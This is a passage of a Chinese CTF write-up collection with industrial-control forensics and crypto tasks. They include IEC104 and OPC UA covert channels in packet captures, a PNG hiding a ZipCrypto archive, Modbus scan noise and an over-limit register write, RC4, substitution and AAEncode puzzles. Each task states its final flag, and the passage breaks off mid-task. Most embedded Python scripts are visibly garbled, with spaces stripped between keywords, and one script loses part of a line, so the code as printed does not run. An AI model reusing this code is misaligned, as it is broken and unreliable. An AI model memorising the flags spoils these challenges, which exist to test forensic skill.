私有容器按长度字段步进比搜魔数可靠,海量读操作只是掩蔽,唯一的写寄存器报文就是隐蔽信道。
最终flag
flag{y0u_jus4_hav3_the_c0de}
任务8|misc-3:IEC104总召唤响应中的隐藏遥测点
附件:任务8.zip(misc-3.zip内的windfarm_iec104.pcap)
- 基本情况
升压站RTU经IEC 60870-5-104与多个主站通信,镜像抓包存于对外Web目录,混有Modbus、DNP3、MMS、TLS背景流量。题面称公网未授权主站接入RTU执行总召唤,把flag写入远动数据。抓包约五千余包,合法主站为10.20.3.5至10.20.3.9,需定位攻击者并解析响应。
- 关键突破
主站筛选。IEC104端口固定2404,端口为2404的五元组即远动会话。203.0.113.88为公网地址,发起三条会话(源端口51500、51501、51502),51500与51502指向10.20.5.40,51501指向10.20.5.41。以dst=203.0.113.88、sport=2404过滤,只剩RTU回给攻击者的方向。
APDU为0x68|长度|控制域4字节|ASDU,长度不含前两字节。控制域首字节最低位为0是I帧,为1是U/S帧,必须跳过,否则会把STARTDT、测试帧误当数据。
ASDU头固定6字节:类型1字节、可变结构限定词1字节、传送原因2字节小端、公共地址2字节小端,其后才是信息对象。短浮点遥测M_ME_NC_1(类型13)每点7字节:3字节小端IOA加4字节短浮点值。实测响应0d 01 1400 0100 014000 4534ee66,IOA为0x4001,即配置遥测起点。若按5字节头切分,IOA整体错位一字节,既不落在正常点表也不落在异常段,可据此校验偏移。
正常遥测IOA在0x4001至0x4027,值有物理意义;攻击者两次总召唤响应额外混入0x5a0000至0x5a0007共8个点,每点4字节,呈“接近可打印但差一点”的形态,如3c 36 3b 3d、6b 6a 6e 05。51500只带0x5a0000/1/3/7,51502带0x5a0002/4/5/6,互补,须归并两条流才凑满32字节。
10.20.3.7也从10.20.5.40收到0x5a0000起的点,但属合法主站通道;10.20.5.41与10.20.3.6间另有8个同段IOA的点,解码键为0x33。只按IOA段筛选不限定目的地址会混拼。8点按IOA升序拼接,逐字节异或0x5a(等于基址低字节),首四字节66 6c 61 67即flag。
- 利用/还原思路
手工解析pcap全局头(小端魔数d4c3b2a1)与包记录,逐帧解出IPv4、TCP五元组与载荷。
以五元组为键归并,只保留dst=203.0.113.88、sport=2404的方向。
每个方向按TCP序号排序重组,重叠区间只保留未覆盖部分,避免重传重复。
顺序扫描0x68,按长度字段切出APDU;控制域首字节为奇数则丢弃。
取apdu[4:]为ASDU,类型为13时以6字节头为界,按ioa=asdu[6:9](3字节小端)、val=asdu[9:13]逐点解析,每点步进7字节。
收集IOA落在0x5a0000至0x5a00ff的点,按IOA升序拼接,逐字节异或0x5a输出明文。
- 复现脚本
importsocket, structV, P, K, B ="203.0.113.88",2404,0x5A,0x5A0000blob = open("windfarm_iec104.pcap","rb").read()segs, pos = {},24whilepos +16<= len(blob):, , n, w = struct.unpack("<IIII", blob[pos:pos +16])f, pos = blob[pos +16:pos +16+ n], pos +16+ max(n, w)iflen(f) <34orf[12:14] !=b"\x08\x00":continueip = f[14:]ifip[0] >>4!=4orip[9] !=6:continueseg = ip[(ip[0] &15) 4:struct.unpack(">H", ip[2:4])[0]]sp, dp = struct.unpack(">HH", seg[:4])src, dst = socket.inet_ntoa(ip[12:16]), socket.inet_ntoa(ip[16:20])ifdst == Vandsp == P:segs.setdefault((src, sp, dst, dp), []).append((struct.unpack(">I", seg[4:8])[0], seg[(seg[12] >>4) 4:]))defmerge(it):it, base, out = sorted(it), it[0][0], bytearray(it[0][1])forseq, datainit[1:]:d = seq - baseifd >= len(out): out +=b"\x00"* (d - len(out)) + dataelifd + len(data) > len(out): out += data[len(out) - d:]returnbytes(out)pts = {}foritinsegs.values():st, i = merge(it),0whilei +2<= len(st):ifst[i] !=0x68: i +=1;continueapdu, i = st[i +2:i +2+ st[i +1]], i +2+ st[i +1]iflen(apdu) <4orapdu[0] &1:continuea = apdu[4:]ifnotaora[0] !=13:continuep =6for_inrange(a[1] &0x7F):ifp +7> len(a):breakioa = int.from_bytes(a[p:p +3],"little")ifB <= ioa <= B +0xFF: pts[ioa] = a[p +3:p +7]p +=7print(bytes(b ^ Kforbinb"".join(pts[k]forkinsorted(pts))))5. 运行结果
[] 51500与51502各命中4点:0x5a0000/1/3/7 与 0x5a0002/4/5/6[] 8点按IOA升序拼成32字节,逐字节异或0x5a[+] flag{IEC104_C0v3rt_Ch4nn3l_2026}6. 小结
IEC104本身不带认证,公网主站可任意总召唤;ASDU头6字节与每点7字节的对齐,是取出隐藏IOA的前提。
最终flag
flag{IEC104_C0v3rt_Ch4nn3l_2026}
任务9|misc-4:OPC UA地址空间载体节点隐蔽信道
附件:任务9.zip(misc-4.zip内的plant_nodeset.xml、plant_opcua.pcap)
- 基本情况
车间OPC UA采集系统的地址空间导出文件plant_nodeset.xml与MES侧镜像流量plant_opcua.pcap一并留存,题面称攻击者用自定义方法把内部缓存写进地址空间。XML含ns=0至ns=3四个命名空间,ns=3下7个自定义方法的Description字段带有base64编码的JSON元数据。流量中10.40.9.77:53999一条短会话调用了三个诊断方法,入参依次为109、58、145。目标是交叉两份材料还原节点上的隐蔽通道,取出状态为active那条通道的flag。
- 关键突破
元数据给出三条通道:Dump对应Diag.Cache.Slot、active;Trace对应Diag.Cache.Mirror、disabled;Snapshot对应Diag.Snapshot.Entry、deprecated。三者都声明40个槽位,只有active真正启用,按状态选载体即可排除干扰。
流量侧三次Call分别落在Diagnostics.Internal的Dump、Trace与Diagnostics.Legacy的Snapshot上,入参109、58、145没有回显,说明数据被写回地址空间。载体槽位BrowseName形如Diag.Cache.Slot.00,把槽位NodeId的低字节按槽序号升序拼接再异或方法入参,得到的字节串恰好是合法base64;入参就是该通道的单字节异或密钥,key=109即解出active通道的flag。
报文解析不能依赖固定偏移:MSG帧为type(3字节)+size(4字节小端),body前16字节是通道、令牌、序号、请求号,随后是服务NodeId;CallRequest为FourByte编码01 00 c8 02,即ns=0、标识712。RequestHeader的AuditEntryId是变长String,长度一变偏移就漂移,稳妥做法是在body内扫描0x03型String NodeId,前两个命中即ObjectId与MethodId,再读4字节MethodsToCall数量,Variant类型码7为Int32入参。
槽位还有陷阱:Diag.Cache.Slot实挂58个节点,比声明的40个多出0A至0H后缀与40至49越界序号,尾随节点异或后不是合法base64字符。必须按声明槽数截断,否则解码混入多余字节失败。
- 利用/还原思路
解析XML,遍历UAMethod,对Description做base64解码并解析JSON,建立“方法短名→载体/状态/槽数”映射。
遍历UAVariable,按载体名前缀收集数字槽标签,得到“槽序号→NodeId数值”字典。
按五元组归并pcap的TCP流并重组,切出MSG帧,保留body[16:20]为01 00 c8 02的Call报文。
扫描body内0x03型String NodeId,第二个为MethodId,其后4字节计数、1字节类型码、4字节Int32即密钥,得109、58、145。
对每个载体取声明槽数内的槽位,NodeId低字节按序异或密钥,补=后base64解码,取status为active者。
- 复现脚本
importbase64, jsonimportxml.etree.ElementTreeasETNS ="{http://opcfoundation.org/UA/2011/03/UANodeSet.xsd}"root = ET.parse("plant_nodeset.xml").getroot()# ... pcap 头解析、TCP 重组与三次 Call 入参提取略, 结果为 109/58/145KEYS = {"Dump":109,"Trace":58,"Snapshot":145}methods = {}forninroot.iter(NS +"UAMethod"):d = n.find(NS +"Description")ifdisnotNoneandd.textand"<"notind.text:methods[n.get("BrowseName").split(".")[-1]] = json.loads(base64.b64decode(d.text))forshort, metainsorted(methods.items()):pre, slots = meta["carrier"] +".", {}forninroot.iter(NS +"UAVariable"):name = (n.get("BrowseName")or"").split(":")[-1]ifname.startswith(pre)andname[len(pre):].isdigit():slots[int(name[len(pre):])] = int(n.get("NodeId").split(";")[-1].split("=")[-1])order = [iforiinsorted(slots)ifi < meta["slots"]]# 截掉声明槽数以外的尾随节点raw = bytes((slots[i] &0xFF) ^ KEYS[short]foriinorder)print(meta["status"], meta["carrier"], base64.b64decode(raw +b"="* (-len(raw) %4)).decode())5. 运行结果
[*] 调用Dump(109)、Trace(58)、Snapshot(145)[active ] Diag.Cache.Slot key=109 -> flag{0PCUA_N0d3Id_C0v3rt_2026}[deprecated] Diag.Snapshot.Entry key=145 -> flag{0PCUA_Sn4psh0t_L34k_2026}[disabled ] Diag.Cache.Mirror key=58 -> flag{0PCUA_M1rr0r_Trace_D3c0y}flag{0PCUA_N0d3Id_C0v3rt_2026}6. 小结
隐蔽信道藏在协议元数据里:入参当异或密钥、NodeId低字节当密文,比直接改字段值更难被字段级校验发现。
最终flag
flag{0PCUA_N0d3Id_C0v3rt_2026}
任务10|misc-5:PNG尾随封装与组态工程包还原
附件:任务10.zip(01.jpg)
- 基本情况
附件只有一张01.jpg,画面是工控系统监控界面截图,用看图工具打开完全正常,flag不在可见区域。文件头为89 50 4E 47 0D 0A 1A 0A,扩展名与真实格式不符,实际是PNG。载荷分三层:PNG数据后尾随一个加密ZIP,ZIP内是力控组态工程备份包next.PCZ,工程包New App4/bmp/目录下存放二维码图片。目标是依次完成容器切分、口令恢复与二维码识别。
- 关键突破
PNG解码器读到IEND块即认为图像结束,之后的字节既不参与成像也不报错,这使文件尾随成为经典隐蔽封装。判定时对整份文件取最后一次出现的IEND,该块长度为0、类型为49 45 4E 44,其后紧跟4字节CRC;本题IEND位于偏移640542,再向后搜索ZIP本地文件头50 4B 03 04,ZIP起于640550,尾随部分共308832字节。
外层ZIP只有一个条目next.PCZ,通用标志位bit0置位,说明是传统ZipCrypto加密。其密钥流由12字节加密头与CRC参与派生,安全性取决于口令本身;本题口令是字典加规则变形得到的两个大写字母加两位数字FC00,命中后标准库即可解压,无需做密码学攻击。ZipCrypto没有可靠的完整性预检,判定口令正误只能实际解压一条条目。
next.PCZ是力控组态工程包,主体仍是ZIP,共128个条目,涵盖画面资源、数据库配置、图元与图片。逐条看通用标志位,只有PackBackup.xml保留加密标志,New App4/bmp/flag.png等图片以明文存放;对清单条目复用FC00会直接报错,说明它用了另一口令,但图片不受约束。正确策略是先枚举条目、按标志位判断哪些内容真的需要口令,而不是默认整包加密。
二维码识别是最后的工程细节。图片恰好256×256,码图几乎顶到边缘、四周静区被裁掉,QRCodeDetector直接定位失败。先按最近邻插值放大3倍,再用copyMakeBorder补40像素纯白边框,最后以128为阈值二值化送入检测器,识别结果为flag{qwerasd}。
- 利用/还原思路
读取01.jpg原始字节,校验PNG魔数,确认扩展名与实际格式不符。
取最后一次IEND,其后搜索PK\x03\x04,把该偏移到文件末尾的字节切出,作为外层ZIP。
以FC00为口令读取唯一条目next.PCZ,得到337124字节工程包;口令正误靠实际解压判定。
把工程包字节流交给zipfile,枚举128个条目并检查加密标志,取出未加密的New App4/bmp/flag.png。
灰度读入图片,放大3倍、补40像素白边、按128二值化,再调用二维码检测取flag。
- 复现脚本
importio, zipfileimportcv2blob = open("01.jpg","rb").read()assertblob.startswith(b"\x89PNG\r\n\x1a\n")# 扩展名是 jpg, 实际为 PNGiend = blob.rfind(b"IEND")start = blob.find(b"PK\x03\x04", iend)# IEND 之后即尾随 ZIPprint(iend, start, len(blob) - start)# 640542 640550 308832raw = blob[start:]outer = zipfile.ZipFile(io.BytesIO(raw))name = outer.infolist()[0].filename# next.PCZinner_raw = outer.read(name, pwd=b"FC00")# ZipCrypto 弱口令inner = zipfile.ZipFile(io.BytesIO(inner_raw))print(len(inner.infolist()), [i.filenameforiininner.infolist()ifi.flag_bits &1])blob = inner.read("New App4/bmp/flag.png")# 该条目未加密, 无需口令open("flag.png","wb").write(blob)gray = cv2.imread("flag.png", cv2.IMREAD_GRAYSCALE)big = cv2.resize(gray,None, fx=3, fy=3, interpolation=cv2.INTER_NEAREST)big = cv2.copyMakeBorder(big,40,40,40,40, cv2.BORDER_CONSTANT, value=255)_, binary = cv2.threshold(big,128,255, cv2.THRESH_BINARY)print(cv2.QRCodeDetector().detectAndDecode(binary)[0])5. 运行结果
[] IEND位于640542,尾随ZIP起于640550,共308832字节[+] 外层ZIP口令命中:FC00[] 工程包128个条目,加密1个:PackBackup.xml[+] New App4/bmp/flag.png 256x256 -> flag{qwerasd}6. 小结
先按文件头判型、再按条目看加密标志,比迷信扩展名和整包加密的直觉可靠。
最终flag
flag{qwerasd}
任务11|工业容灾备份:双备份设备工厂分布比对
附件:任务11.zip(equipment.sql、backup_a_equipment.sql、backup_b_equipment.sql、题目描述.doc)
- 基本情况
附件是说明文档加三份Navicat导出的MySQL脚本:主库equipment.sql、A备份backup_a_equipment.sql、B备份backup_b_equipment.sql。三表结构一致,八个字段依次为equipment_id、factory_id、equipment_name、equipment_type、installation_date、last_maintenance_date、operational_hours、status,记录数分别为2068、2063、2061。题干称主库向A、B同步时出现异常,要求统计两份备份各覆盖多少个不同factory_id,并判断哪侧工厂分布更广。提交格式为flag{更广的备份-A工厂数-B工厂数},文档示例为flag{AB-0-0}与flag{A-1-0}。
- 关键突破
“同步异常”会把人引向记录数:A比B多两条,按条数衡量结论落在A。但题目问的是不同工厂数,属于集合基数问题,与行数没有单调关系——一份备份可以条目很多却集中在少数工厂,也可以条目很少却覆盖全部工厂。行数只说明丢了多少条设备记录,不说明工厂覆盖面。
按equipment_id对齐后,两份备份都是主库的严格子集,字段值逐条一致,没有新增或改写。相对主库,A少5条(18、814、822、831、929),B少7条(11、262、854、861、865、870、879),异常表现是单纯丢行而非数据错乱。
关键在于丢行与工厂覆盖的关系:这些设备所属工厂在各自备份中都还有其他记录,工厂集合没有因丢行而收缩。实测A、B的factory_id去重数均为670,两侧集合的对称差为空。既然集合完全相等,“更广”就是平局,按文档示例的约定输出AB;flag{AB-0-0}正是平局模板,忽略这条约定就会在平局时随手写A或B。
解析难点在字段切分。equipment_name与equipment_type是字符串字面量,可能出现逗号;MySQL用两个连续单引号表示一个字面单引号,因此既不能按逗号split,也不能按单引号简单配对。可行做法是用正则一次性匹配引号内任意内容(含'')或非逗号串,再逐个token去首尾引号并把''还原为';本附件虽未出现这类名字,解析器仍须能处理,否则会静默错列。
- 利用/还原思路
逐行扫描SQL,只保留INSERT语句,用^INSERT INTO 表名 VALUES ((.*));$捕获VALUES内的元组体。
用'(?:[^']|'')*'|[^,]+交替匹配字符串与数值,字符串token去首尾引号并将''还原为'。
取第2列为factory_id,对每份文件建立equipment_id集合与factory_id集合。
输出三份文件的记录数、工厂数,以及A、B相对彼此的缺失设备号,验证“丢行未丢工厂”。
比较两个工厂集合的基数:相等输出AB,否则输出较大一方,代入模板得到flag。
- 复现脚本
importreROW = re.compile(r"^INSERT\s+INTO\s+[^]+`\s+VALUES\s((?P.))\s;\s$")FIELD = re.compile(r"'(?:[^']|'')*'|[^,]+")# 引号内的逗号与 '' 不切分defload(path):rows = []forlineinopen(path, encoding="utf-8", errors="replace"):m = ROW.match(line.rstrip("\r\n"))ifnotm:continueout = []fortokinFIELD.finditer(m.group("body")):t = tok.group(0).strip()out.append(t[1:-1].replace("''","'")ift.startswith("'")elset)rows.append(out)returnrowsa = load("backup_a_equipment.sql")b = load("backup_b_equipment.sql")fa = {int(r[1])forrina}# 第2列 factory_idfb = {int(r[1])forrinb}print(len(a), len(b), len(fa), len(fb), len(fa ^ fb))wider ="AB"iflen(fa) == len(fb)else("A"iflen(fa) > len(fb)else"B")print("flag{%s-%d-%d}"% (wider, len(fa), len(fb)))5. 运行结果
[main] 记录2068条,工厂670个[A] 记录2063条,工厂670个[B] 记录2061条,工厂670个[*] 工厂差集 A-B=0 B-A=0,更广者ABFLAG = flag{AB-670-670}6. 小结
把业务问题翻译成集合基数,行数差异只是干扰,平局也要按约定显式处理。
最终flag
flag{AB-670-670}
任务12|恶意扫描:Modbus噪声中的十六进制隐蔽载荷
附件:任务12.zip(t4.pcap、题干.txt)
- 基本情况
附件为约934KB的t4.pcap与题干.txt:某车间PLC遭恶意扫描,要求从流量中找出攻击行为对应的flag,格式为flag{}。抓包共11112帧,时间跨度约214秒(2020-12-10 16:11:07至16:14:41),链路层为以太网。协议以Modbus/TCP为主,夹杂ARP、NBNS、SSDP、mDNS广播等背景流量;主机只有三台,192.168.99.31在502端口应答,是PLC,192.168.99.33发包最多,是扫描者,192.168.99.32发包很少,像上位机。载荷被藏在扫描噪声与正常轮询之间,必须先剔除噪声再做内容级筛选。
- 关键突破
扫描侧先把192.168.99.33的TCP载荷按内容去重:11112帧里只有8种不同载荷,每种重复850至851次,累计6801个。功能码以0x01读线圈与0x03读保持寄存器为主,另有0x43、0x11、0x6D、0x41四个非标准功能码各850次,用于探测非法请求的响应。同一载荷逐字不变循环850次以上,没有随机化的事务号,也没有变化的起始地址,是固定脚本死循环扫描的典型特征,必须在统计前剔除,否则会把“去重后仅20种载荷”这个关键事实淹没。
192.168.99.32只发起5条连接,源端口2090至2093以及2095,中间缺2094。前四条载荷完全相同,均为000000000006010300000002,即读0号起2个保持寄存器,PLC回4字节全零,属于正常轮询。第2095条不同:载荷44字节,以36 36 36 63开头,逐字节都是可打印ASCII,内容是字符串666c61677b7071634635716655516866713971386a7d。
判定依据在协议层。Modbus/TCP的MBAP之后第一个字节必须是功能码,合法取值0x01至0x2B;该载荷首字节为0x36,即字符6,且44字节全部落在0-9a-f区间,长度恰为偶数。二进制协议不会整段呈现为十六进制文本,这就是人为编码的信道;对文本再做一次bytes.fromhex即得flag{pqcF5qfUQhfq9q8j}。该载荷在抓包中出现2次,是重传造成的重复,按(源IP、载荷)去重即可合并。
- 利用/还原思路
用scapy的PcapReader流式读取,过滤出带载荷的IP/TCP报文,逐条记录(源IP、载荷)的重复次数。
统计各源地址的载荷总数,取最大者为攻击者,并打印其去重载荷种数与单条重复次数的上下界。
按(源IP、源端口、目的端口)聚合连接,只保留目的端口502且源地址不是扫描者的部分。
对候选载荷做编码判定:ASCII可解码、去空白后长度为偶数、字符集全在十六进制内、解码后含flag{,四项同时满足才认定。
输出命中连接的源端口、原始十六进制串与解码结果,套模板得到flag。
- 复现脚本
fromcollectionsimportCounterfromscapy.allimportIP, TCP, PcapReaderPLC, HEXSET =502, set("0123456789abcdefABCDEF")noise, streams = Counter(), {}forpktinPcapReader("t4.pcap"):ifIPinpktandTCPinpktandpkt[TCP].payload:seg, data = pkt[TCP], bytes(pkt[TCP].payload)noise[(pkt[IP].src, data)] +=1streams.setdefault((pkt[IP].src, seg.sport, seg.dport), []).append(data)ip_count = Counter()for(src, _), cntinnoise.items():ip_count[src] += cntattacker = ip_count.most_common(1)[0][0]for(src, sport, dport), segsinsorted(streams.items()):ifdport != PLCorsrc == attacker:# 剔除扫描者, 只看发往 502 的连接continuefordataindict.fromkeys(segs):# 同一连接内去重try:text = data.decode("ascii").strip()exceptUnicodeDecodeError:continueiflen(text) %2ornotset(text) <= HEXSET:continueplain = bytes.fromhex(text).decode("ascii","replace")if"flag{"inplain:print(src, sport, text, plain)5. 运行结果
[] TCP载荷10227条,去重后20条;192.168.99.33仅8种,重复850至851次[] 剔除扫描者后发往502端口的连接共5条[+] 命中192.168.99.32:2095原始载荷666c61677b7071634635716655516866713971386a7d解码内容flag{pqcF5qfUQhfq9q8j}6. 小结
噪声可以量化:同一载荷重复八百多次即脚本指纹,二进制协议出现整段十六进制文本必是人为信道。
最终flag
flag{pqcF5qfUQhfq9q8j}
任务13|风机转速:Modbus写寄存器超限值定位
附件:任务13.zip(02.pcapng、题干.txt)
- 基本情况
题干给出一起产线事故:操作员按实时温度向风机写入转速,而设备铭牌上限仅2000转/分,事后风机因超速损坏。附件为维修人员抓取的02.pcapng,共1410帧,要求找出当天写入的超限转速,flag取该数据帧Data层的HEX。抓包为Modbus/TCP,192.168.3.130向192.168.3.164的502端口发起请求,另有ARP、NBNS、mDNS等广播噪声。502端口上只有0x03读保持寄存器113次与0x06写单寄存器8次两类功能码。
- 关键突破
Modbus/TCP由7字节MBAP头加PDU组成:事务标识2字节、协议标识2字节(恒为0)、长度2字节、单元标识1字节;0x06的PDU为功能码1字节、寄存器地址2字节、寄存器值2字节,整条报文恰12字节,值位于下标10至11。
多字节字段一律大端。0x0BB8按大端为3000,按小端为47115;0x0096按小端会读成38400,足以把正常写入误判为超限,因此字节序不能靠试错,必须按协议固定为大端。
PLC对0x06请求原样回显,同一12字节载荷会出现两次;按目的端口502过滤只留请求侧。8次写入均来自源端口12414、寄存器0,值依次为150、180、200、280、3000、200、500、299,第5次3000为唯一超限,随后立刻回调200,与超速故障及紧急降速的现场描述吻合。
pcapng按块组织:SHB(0x0A0D0D0A)给出字节序,IDB描述接口,EPB(0x00000006)承载报文,块首尾各4字节块长;EPB体前20字节为接口号、时间戳与捕获长度,第21字节起才是帧数据,套用pcap的16字节记录头会整体错位。
- 利用/还原思路
读文件确认魔数为0A0D0D0A,按块长遍历SHB、IDB、EPB。
对每个EPB取体偏移12处的捕获长度,从偏移20截取帧数据,校验以太网类型0x0800、IP协议号6。
按IP首部长度定位TCP头,用数据偏移算出载荷起点,同时取源端口与目的端口。
保留目的端口502、载荷不少于12字节且下标7为0x06的报文,下标8至9为寄存器地址,10至11按大端取转速。
筛出大于2000的记录,其前12字节的HEX即flag。
- 复现脚本
importstructrows, blob, pos, order = [], open('02.pcapng','rb').read(),0,'<'whilepos +12<= len(blob):btype = struct.unpack('<I', blob[pos:pos +4])[0]ifbtype ==0x0A0D0D0A:order ='<'ifblob[pos +8:pos +12] ==b'\x4d\x3c\x2b\x1a'else'>'blen = struct.unpack(order +'I', blob[pos +4:pos +8])[0]body, pos = blob[pos +8:pos + blen -4], pos + blenifbtype !=6orlen(body) <24:continueframe = body[20:20+ struct.unpack('>4) *4:]ifdport ==502andlen(data) >=12anddata[7] ==0x06:rows.append((sport, int.from_bytes(data[8:10],'big'),int.from_bytes(data[10:12],'big'), data[:12]))print('0x06 writes =', len(rows))forsport, reg, val, rawinrows:ifval >2000:print('sport=%d reg=%d val=%d le=%d hex=%s'% (sport, reg, val, int.from_bytes(raw[10:12],'little'), raw.hex()))print('flag{%s}'% raw.hex())5. 运行结果
0x06 writes = 8sport=12414 reg=0 val=3000 le=47115 hex=4d0000000006010600000bb8flag{4d0000000006010600000bb8}6. 小结
考点是按协议规范解析二进制流量,pcapng块结构、Modbus大端与请求响应去重任一处理错都会得到貌似合理的错误值。
最终flag
flag{4d0000000006010600000bb8}
任务14|easy逆向:字母与数字的双区间替换
附件:任务14.zip(reverse.py、题干.txt)
- 基本情况
题干称截获了一段经“简单字母替换”加密的flag,附件给出加密脚本reverse.py与一行密文,要求反推明文并写成flag{...}。附件没有二进制样本,reverse.py仅数十行,全部逻辑可直接阅读。脚本按字符分三类:字母在大小写区间内后移、数字模10后移、其余原样透传;密文写在脚本末尾的注释里,为iodj{vlpsoh_flskhu_uhyhuvh}。题目给出加密器与输出,属白盒逆向,变换在字符集上是双射,逆映射可由正变换直接推出,无需穷举或频度分析。
- 关键突破
字母与数字各用一套位移。字母为(ord(c)-base+step)%26,数字为(int(c)+step)%10,模数26与10相互独立;源码中字母位移3、数字位移5,不能默认两者都是3。
回绕区间也必须分开。小写以a为基、大写以A为基,解密时按同样的基分别减,回绕公式与加密逐字对应;若统一按a的码位处理,大写字母会落到非字母区域。
数字位移5在模10下与-5等价,加密与解密是同一映射,容易误判为需要单独求逆;字母的3与-3不同,逆变换必须显式取-3。三类作用域互不交叉,可预构造62项映射表,用一次translate完成全部替换,既省去逐字符分支,也避免基址写错。
本题密文只含小写字母、下划线与花括号,数字与大写分支未参与运算;映射表仍覆盖大小写与数字全部区间,表外字符由translate原样保留,故下划线与花括号无需单独处理。逆变换也可由正变换直接推出:字母用26-step、数字用(10-step)%10,不必逐字符判断。构造时同步填充正表与逆表,translate一次完成替换,复杂度与密文长度线性相关,也便于对同族变体复用。位移量从源码读取而非写死,换一份同族脚本时无需改动代码。
- 利用/还原思路
读取reverse.py,用正则从+3)%26与+5)%10两处取出字母与数字位移,两处分别匹配26与10的模数,避免手抄误差。
扫描注释行,取匹配标识符{...}的最后一项作为密文,忽略其余说明性注释。
以小写、大写两个基各建26项字母表,数字建10项,其余字符不入表,保持原样,分别生成正向与逆向translate表。
对密文施加逆表得明文,再施加正表回代,比对是否与密文逐字符一致;两者相等即证明逆表无漏项。
用含数字的样例flag2024做正逆往返,确认数字表项方向,加密结果应为iodj7579。
若密文含大写或数字,先确认其基址与模数分支再套用同一张表;本题密文不含这两类字符。
- 复现脚本
importresrc = open('reverse.py', encoding='utf-8').read()ls = int(re.search(r'+\s(\d+))\s%\s26', src).group(1))ds = int(re.search(r'+\s(\d+))\s%\s10', src).group(1))cipher = [m.group(0)forlineinsrc.splitlines()ifline.lstrip().startswith('#')formin[re.search(r'[A-Za-z]\w{[^}]}', line)]ifm][-1]enc, dec = {}, {}forbasein('a','A'):forkinrange(26):p, c = chr(ord(base) + k), chr(ord(base) + (k + ls) %26)enc[p], dec[c] = c, pfordinrange(10):enc[str(d)] = str((d + ds) %10)dec[enc[str(d)]] = str(d)plain = cipher.translate(str.maketrans(dec))print('cipher:', cipher)print('plain :', plain, cipher == plain.translate(str.maketrans(enc)))print('probe :','flag2024'.translate(str.maketrans(enc)))5. 运行结果
cipher: iodj{vlpsoh_flskhu_uhyhuvh}plain : flag{simple_cipher_reverse} Trueprobe : iodj75796. 小结
考点是白盒审计替换算法并显式构造逆映射,易错处为模数、基址与回绕方向,数字位移5在模10下自逆。
最终flag
flag{simple_cipher_reverse}
任务15|double_rc4:以自身加密结果派生第二把密钥
附件:任务15.zip(题干.txt)
- 基本情况
题干给出密文tRYrA5YTRCJGL7MCBGN4N9IjMFRayJdUPyI5,称密钥与secretkey相关,要求还原并写成flag{...};题名double_rc4暗示两轮RC4。密文长36字符,字符集为大小写字母与数字,末位无填充,符合标准Base64,解码后为27字节,说明明文无需分组填充。附件无脚本与网络地址,全部计算可由密钥派生与对称解密完成。
- 关键突破
同密钥两轮会相互抵消。RC4的密钥流只由密钥决定,第二轮的密钥流与第一轮逐字节相同,两次异或后回到密文本身;实测把密文用secretkey连解两次,结果与原密文一致,说明double指的是对密钥的双重处理。
RC4的KSA与PRGA可把任意字节串映射成等长伪随机串。把secretkey同时当作密钥和明文,得到9字节派生量d6cdbf6e29c5fe2d51,其值由密钥唯一确定。RC4对密钥长度没有限制,9字节与12字节密钥都可直接使用,差异只在派生链是否插入Base64。
派生量含大量不可打印字节,而题干密文是Base64,提示两轮之间做了一次文本化。将该派生量Base64编码得1s2/binF/i1R,共12个可打印字符,作为第二轮密钥。
完整链路为:密文Base64解码得27字节;以secretkey对自身做RC4得派生量,Base64编码后作为第二轮密钥;再对原始密文做RC4。RC4加解密同构,末轮既是解密也可视为加密,回代与独立实现比对即可自证。
- 利用/还原思路
对secretkey做RC4,密钥与数据同为该串,得9字节d6cdbf6e29c5fe2d51。
对该字节串做Base64编码,得第二轮密钥1s2/binF/i1R。
对题目密文做Base64解码,得27字节原始密文。
以第二轮密钥执行RC4,得到可读明文,长度同样为27字节。
用同一密钥重加密,比对是否还原第3步的字节串,并与Crypto.Cipher.ARC4的输出交叉校验,排除实现偏差。
把密文用secretkey连解两次,确认结果回到密文本身,排除同密钥两轮的错误读法,确认派生结构。
- 复现脚本
importbase64fromCrypto.CipherimportARC4CIPHER ='tRYrA5YTRCJGL7MCBGN4N9IjMFRayJdUPyI5'SEED =b'secretkey'defrc4(key, data):box, j = bytearray(range(256)),0foriinrange(256):j = (j + box[i] + key[i % len(key)]) &0xFFbox[i], box[j] = box[j], box[i]out, i, j = bytearray(),0,0forbindata:i, j = (i +1) &0xFF, (j + box[(i +1) &0xFF]) &0xFFbox[i], box[j] = box[j], box[i]out.append(b ^ box[(box[i] + box[j]) &0xFF])returnbytes(out)seed = rc4(SEED, SEED)key2 = base64.b64encode(seed)raw = base64.b64decode(CIPHER)plain = rc4(key2, raw)assertplain == ARC4.new(key2).decrypt(raw)andrc4(key2, plain) == rawprint('seed =', seed.hex())print('key2 =', key2.decode(),'len =', len(raw))print('plain =', plain.decode(),'roundtrip =', rc4(key2, plain) == raw)print('same-key twice =', rc4(SEED, rc4(SEED, raw)) == raw)5. 运行结果
seed = d6cdbf6e29c5fe2d51key2 = 1s2/binF/i1R len = 27plain = flag{double_rc4_double_4cr} roundtrip = Truesame-key twice = True6. 小结
考点是RC4密钥流的确定性与加解密同构,以自身加密结果派生新密钥无需先验明文,Base64即两轮间文本化的提示。
最终flag
flag{double_rc4_double_4cr}
任务16|easy_encode:AAEncode、UUencode与轮转表Base64
附件:任务16.zip(题干.txt)
- 基本情况
题干给出一行约两千五百字符的JavaScript,全部由゚ω゚ノ、(゚Д゚)、o^_^o等颜文字构成,提示为“encode家族的加密”,要求还原明文并写成flag{...}。这是AAEncode类混淆器的输出,本身只做等价改写,不提供密码学强度。直接执行会在外层Function处抛出语法错误:内层返回的是UUencode文本,被再次当作JavaScript解析,报错反而说明字符串已正确还原。
- 关键突破
AAEncode的原子值可由头部确定:o、゚ー゚、同置3,c与゚Θ゚先由゚ー゚减自身得0;゚Д゚算成(o^^o)/(o^^o)即1时把゚Θ゚也置1,随后改造成字典;o^^o与c^_^o按异或分别为3与0。゚ー゚+=(゚Θ゚)使其后按4计,而构造字典键时仍按3,这是手工模拟最易错位之处。
字典键由[object Object]_按位取字符拼出:['c']取下标5得c,['o']取下标1得o,['constructor']['constructor']即Function。内层把字符码拼成return"\75\62\44..."再执行,返回一行UU文本,并无额外加密。
解码链共三层。AAEncode还原出=2$YA;%9.%E.2GAI3TM"6E1%*RL;UUencode首字符=的码位减0x20得29,即应解29字节,其后每4个6bit字符承载3字节,结果为HNalVNrhsS4JiMqxYNJxiOKBZTE++。
第三层首字符H不在Base64表内,末尾++也不是合法填充,说明前加1字节前缀、填充符由=改为+;去掉前缀并把++还原为==,核心26字符,含填充共28字符。逐个尝试64种轮转,仅轮转12时结果以ZmxhZ3开头,即flag{的Base64形式。编码表为标准表右移12位,解码时把每个索引加12取模。
- 利用/还原思路
取含゚ω゚ノ的一行,定位内层拼接表达式:第二个['_'] (之后至末尾) (゚Θ゚))之前。
